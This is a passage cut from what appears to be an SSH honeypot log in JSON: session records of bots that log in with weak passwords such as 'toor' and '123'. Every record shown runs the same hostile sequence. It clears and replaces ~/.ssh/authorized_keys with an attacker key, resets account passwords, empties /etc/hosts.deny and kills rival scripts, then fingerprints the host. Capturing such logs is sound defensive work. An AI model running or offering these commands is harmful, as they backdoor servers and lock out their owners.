complete","commands":18,"transcript_bytes":2205,"events":[{"seq":1,"at":"2026-08-27T11:51:34.399429+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:51:34.726743+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:51:38.274527+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:51:40.344309+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:51:40.674631+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bSWrGLstZ5rr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:51:40.999909+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:51:41.324909+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:51:42.291541+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:51:43.147129+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:51:43.473593+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:51:44.310149+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:51:44.644065+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:51:46.744094+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:51:47.074750+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:51:47.740939+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:51:48.069527+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:51:48.419058+00:00","kind":"output","latency_ms":null,"data":" 11:51:48 up 7 days, 8:41, 0 user, load average: 0.34, 0.39, 0.39\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:51:48.750869+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:51:49.372674+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:51:49.698370+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:51:50.538382+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:51:50.883199+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:51:51.711707+00:00","kind":"output","latency_ms":null,"data":"top - 11:51:51 up 7 days, 8:41, 0 user, load average: 0.34, 0.39, 0.39\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:51:52.047103+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:51:52.318393+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:51:52.653269+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:51:53.515725+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:51:53.840545+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:51:54.410833+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:51:54.738508+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T11:51:55.868809+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T11:51:56.199085+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T11:51:58.305047+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"welcome@2024","method":"password","accepted":true,"tier":"other"}]} {"id":"fede980d-dd7e-465c-aa04-702f917a7a06","name":"sunlit-crystal-coyote","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":59174,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:51:47.943883+00:00","ended_at":"2026-08-27T11:51:49.768626+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2162,"events":[{"seq":1,"at":"2026-08-27T11:51:30.623847+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:51:30.917911+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:51:35.225650+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:51:35.764994+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:51:36.059941+00:00","kind":"input","latency_ms":null,"data":"echo -e \"toor\\npdip4ZDS8HVD\\npdip4ZDS8HVD\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:51:36.355861+00:00","kind":"input","latency_ms":null,"data":"echo \"toor\\npdip4ZDS8HVD\\npdip4ZDS8HVD\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:51:36.650204+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:51:37.308115+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:51:37.605036+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:51:38.394005+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:51:38.693749+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:51:39.984693+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:51:40.284711+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:51:40.675099+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:51:40.970916+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:51:41.225906+00:00","kind":"output","latency_ms":null,"data":" 11:51:41 up 7 days, 8:41, 0 user, load average: 0.18, 0.15, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:51:41.525125+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:51:41.846764+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:51:42.146850+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:51:42.850471+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:51:43.146777+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:51:43.764907+00:00","kind":"output","latency_ms":null,"data":"top - 11:51:43 up 7 days, 8:41, 0 user, load average: 0.18, 0.15, 0.16\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:51:44.064062+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:51:44.523609+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:51:44.818784+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:51:45.473078+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:51:45.768726+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:51:46.425596+00:00","kind":"output","latency_ms":null,"data":"ftpuser"},{"seq":29,"at":"2026-08-27T11:51:46.721952+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:51:47.649375+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:51:47.944682+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:51:49.678993+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftpuser","password":"toor","method":"password","accepted":true,"tier":"other"}]} {"id":"3c33f36c-a630-46af-b19d-d6e7e7451b5e","name":"coastal-quiet-avocet","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":33290,"username":"remoteuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":756,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:51:34.626497+00:00","ended_at":"2026-08-27T11:51:36.118195+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-27T11:51:06.767808+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:51:07.521121+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:51:13.004451+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:51:13.634125+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:51:14.411775+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nswkUt0MlAOIC\\nswkUt0MlAOIC\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:51:15.163831+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nswkUt0MlAOIC\\nswkUt0MlAOIC\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:51:15.926558+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:51:16.618554+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:51:17.376422+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:51:18.487681+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:51:19.242897+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:51:20.550668+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:51:21.305671+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:51:21.823929+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:51:22.577314+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:51:23.434461+00:00","kind":"output","latency_ms":null,"data":" 11:51:23 up 7 days, 8:41, 0 user, load average: 0.11, 0.09, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:51:24.187790+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:51:24.831758+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:51:25.588124+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:51:26.086498+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:51:26.842378+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:51:27.476167+00:00","kind":"output","latency_ms":null,"data":"top - 11:51:27 up 7 days, 8:41, 0 user, load average: 0.11, 0.09, 0.08\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:51:28.239490+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:51:29.118477+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:51:29.882860+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:51:30.445359+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:51:31.222676+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:51:32.036151+00:00","kind":"output","latency_ms":null,"data":"remoteuser"},{"seq":29,"at":"2026-08-27T11:51:32.795152+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:51:33.767834+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:51:34.627260+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:51:35.859964+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"remoteuser","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"07fadb69-3a03-4cd7-b445-c508a052a31a","name":"forlorn-kindly-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":48686,"username":"tomcat","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":279,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:51:34.450292+00:00","ended_at":"2026-08-27T11:51:36.487603+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T11:51:07.526363+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:51:07.804154+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:51:11.553667+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:51:12.720912+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:51:13.000396+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\ndZ6eiKaakGS0\\ndZ6eiKaakGS0\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:51:13.277365+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\ndZ6eiKaakGS0\\ndZ6eiKaakGS0\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:51:13.554240+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:51:14.368524+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:51:14.595268+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:51:14.645043+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:51:14.646658+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:51:16.284797+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:51:16.565647+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:51:18.000302+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:51:18.280769+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:51:19.096475+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:51:19.376034+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:51:21.187954+00:00","kind":"output","latency_ms":null,"data":" 11:51:21 up 7 days, 8:41, 0 user, load average: 0.21, 0.17, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:51:21.466211+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:51:23.583155+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:51:23.860773+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:51:24.764646+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:51:25.046950+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:51:26.637860+00:00","kind":"output","latency_ms":null,"data":"top - 11:51:26 up 7 days, 8:41, 0 user, load average: 0.21, 0.17, 0.13\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:51:26.915939+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:51:29.053090+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:51:29.331526+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:51:30.704703+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:51:30.984126+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:51:31.856905+00:00","kind":"output","latency_ms":null,"data":"tomcat"},{"seq":31,"at":"2026-08-27T11:51:32.134523+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:51:34.175509+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:51:34.451057+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:51:36.406678+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"tomcat","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"6e831502-1d1c-425e-bc76-b0098dc56c16","name":"downy-crystal-lorikeet","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59254,"username":"azureuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":460,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:51:07.585521+00:00","ended_at":"2026-08-27T11:51:09.054208+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T11:50:45.608627+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:50:46.061992+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:50:50.271490+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:50:51.096694+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:50:51.556453+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nNoz36fv2l3kc\\nNoz36fv2l3kc\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:50:52.017913+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nNoz36fv2l3kc\\nNoz36fv2l3kc\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:50:52.477436+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:50:53.162498+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:50:53.627222+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 